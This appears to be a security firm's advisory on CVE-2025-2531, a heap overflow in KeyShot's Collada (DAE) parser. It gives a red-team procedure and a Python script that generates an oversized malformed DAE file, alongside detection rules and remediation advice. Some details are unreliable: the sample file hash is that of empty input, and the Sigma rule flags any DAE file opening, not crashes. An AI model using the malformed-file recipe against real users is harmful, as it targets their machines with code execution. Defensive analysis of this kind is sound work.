CVE-2025-2531

Executive Summary

CVE-2025-2531 is a heap-based buffer overflow vulnerability in Luxion KeyShot, a professional 3D rendering and animation application. The flaw resides in the parsing of DAE (Collada) files, where insufficient validation of user-supplied data length leads to a heap-based buffer overflow. An attacker can exploit this by convincing a user to open a malicious DAE file or visit a crafted web page that triggers the parsing routine. Successful exploitation allows arbitrary code execution in the context of the current process, with a CVSS score of 7.8 (High). No public proof-of-concept or exploit code has been released, and no patch is currently available from the vendor.

CVSS Breakdown & Threat Level

• CVSS Score: 7.8 (High)
• Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
• Attack Vector: Local (requires user to open a malicious file)
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required (victim must open the file)
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

The threat level is elevated due to the lack of a patch and the potential for remote code execution, though user interaction is required.

Deep Dive & Mechanics

The vulnerability is a classic heap-based buffer overflow (CWE-122) in Luxion KeyShot's DAE file parser. DAE files are XML-based 3D scene descriptions. The parser fails to validate the length of data before copying it into a heap-allocated buffer, leading to a write past the buffer boundary. This can corrupt adjacent heap metadata or data, potentially allowing an attacker to overwrite function pointers or other critical structures.

Root Cause: The strcpy or similar function is used without bounds checking on a user-supplied string from the DAE file. For example, a <library_geometries> element with an excessively long id attribute could trigger the overflow.

Attack Vector: The attacker crafts a DAE file with a specially crafted element (e.g., a long string in a <float_array> or <Name_array>). When KeyShot parses this file, the overflow occurs, and the attacker can control the overwritten data to hijack execution flow.

Impact: Arbitrary code execution in the context of the KeyShot process, which may have access to user data and system resources.

Vulnerable vs. Patched Code

Since no patch is available, we can only hypothesize the vulnerable code pattern. A typical vulnerable snippet might look like:

// Vulnerable code
void parse_dae_element(char *element_data) {
    char buffer[256];
    strcpy(buffer, element_data); // No bounds check
    // ... process buffer
}

A patched version would use safe functions:

// Patched code
void parse_dae_element(char *element_data) {
    char buffer[256];
    strncpy(buffer, element_data, sizeof(buffer) - 1);
    buffer[sizeof(buffer) - 1] = '\0';
    // ... process buffer
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• Luxion KeyShot (any version prior to patch)
• A Windows or macOS environment (KeyShot is cross-platform)
• Python 3.x for crafting the malicious DAE file

Steps:

1. Create a malicious DAE file with an oversized element. For example, a <library_geometries> with a very long id attribute.
2. Host the file on a web server or send it via email.
3. Convince the target to open the file in KeyShot.
4. The overflow triggers, and the attacker's shellcode executes.

Example Python script to generate a malicious DAE:

#!/usr/bin/env python3
import struct

# Craft a DAE file with a long string in a geometry ID
payload = b"A" * 1000  # Overflow buffer
dae_content = f"""<?xml version="1.0" encoding="utf-8"?>
<COLLADA xmlns="http://www.collada.org/2005/11/COLLADASchema" version="1.4.1">
  <library_geometries>
    <geometry id="{payload.decode('utf-8', errors='ignore')}">
      <mesh>
        <source id="mesh1-positions">
          <float_array id="mesh1-positions-array" count="3">0 0 0</float_array>
          <technique_common>
            <accessor source="#mesh1-positions-array" count="1" stride="3">
              <param name="X" type="float"/>
              <param name="Y" type="float"/>
              <param name="Z" type="float"/>
            </accessor>
          </technique_common>
        </source>
      </mesh>
    </geometry>
  </library_geometries>
</COLLADA>"""

with open("malicious.dae", "w") as f:
    f.write(dae_content)
print("Malicious DAE file created: malicious.dae")

Note: This is a simplified example; actual exploitation would require precise control of the overflow to overwrite a function pointer or return address.

Blue Team

Detection:

• Monitor for KeyShot processes crashing or exhibiting abnormal behavior.
• Use file integrity monitoring to detect unexpected DAE files.
• Deploy endpoint detection and response (EDR) to catch heap corruption events.

Hunting:

• Search for DAE files with unusually large element sizes (e.g., > 10KB for a single attribute).
• Look for KeyShot crash dumps that indicate heap corruption.

Indicators of Compromise (IOCs)

• File Hashes: (Example only, no known samples)
  • malicious.dae SHA256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
• Process Anomalies:
  • KeyShot.exe (or KeyShot on macOS) crashing with heap corruption errors.
• Network: Outbound connections from KeyShot to unknown IPs (if shellcode connects back).
• Registry/File System: Unusual DAE files in temporary directories or downloads.

Detection Engineering

YARA Rule

rule CVE_2025_2531_KeyShot_DAE_Overflow {
    meta:
        description = "Detects malicious DAE files targeting CVE-2025-2531 heap overflow"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-2531"
    strings:
        $xml_header = "<?xml" nocase
        $collada_ns = "http://www.collada.org/2005/11/COLLADASchema"
        $long_string = /[a-zA-Z0-9_\-\.]{500,}/  // Strings longer than 500 chars
    condition:
        $xml_header and $collada_ns and #long_string > 0
}

Sigma Rule

title: CVE-2025-2531 KeyShot DAE Heap Overflow Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects KeyShot process crashes or heap corruption events indicative of CVE-2025-2531 exploitation
author: Valters IT
date: 2025-04-10
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        Image|endswith: '\KeyShot.exe'
        CommandLine|contains: '.dae'
    condition: selection
falsepositives:
    - Legitimate large DAE files from 3D modeling
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-2531 KeyShot DAE Heap Overflow - Potential Malicious File Download"; flow:to_server,established; content:"Content-Type|3a 20|application/octet-stream"; http_header; content:".dae"; http_uri; pcre:"/[a-zA-Z0-9_\-\.]{500,}/R"; sid:1000001; rev:1;)

Remediation & Mitigation

• Immediate: Disable automatic opening of DAE files in KeyShot. Use a sandbox or virtual machine to open untrusted DAE files.
• Vendor: Luxion should release a patch that implements proper bounds checking in the DAE parser. Until then, consider using alternative 3D viewers for untrusted files.
• Workaround: Convert DAE files to a safer format (e.g., OBJ) before opening in KeyShot.
• Monitoring: Deploy the YARA and Sigma rules above to detect exploitation attempts.

Valters IT
Securing digital frontiers, one vulnerability at a time.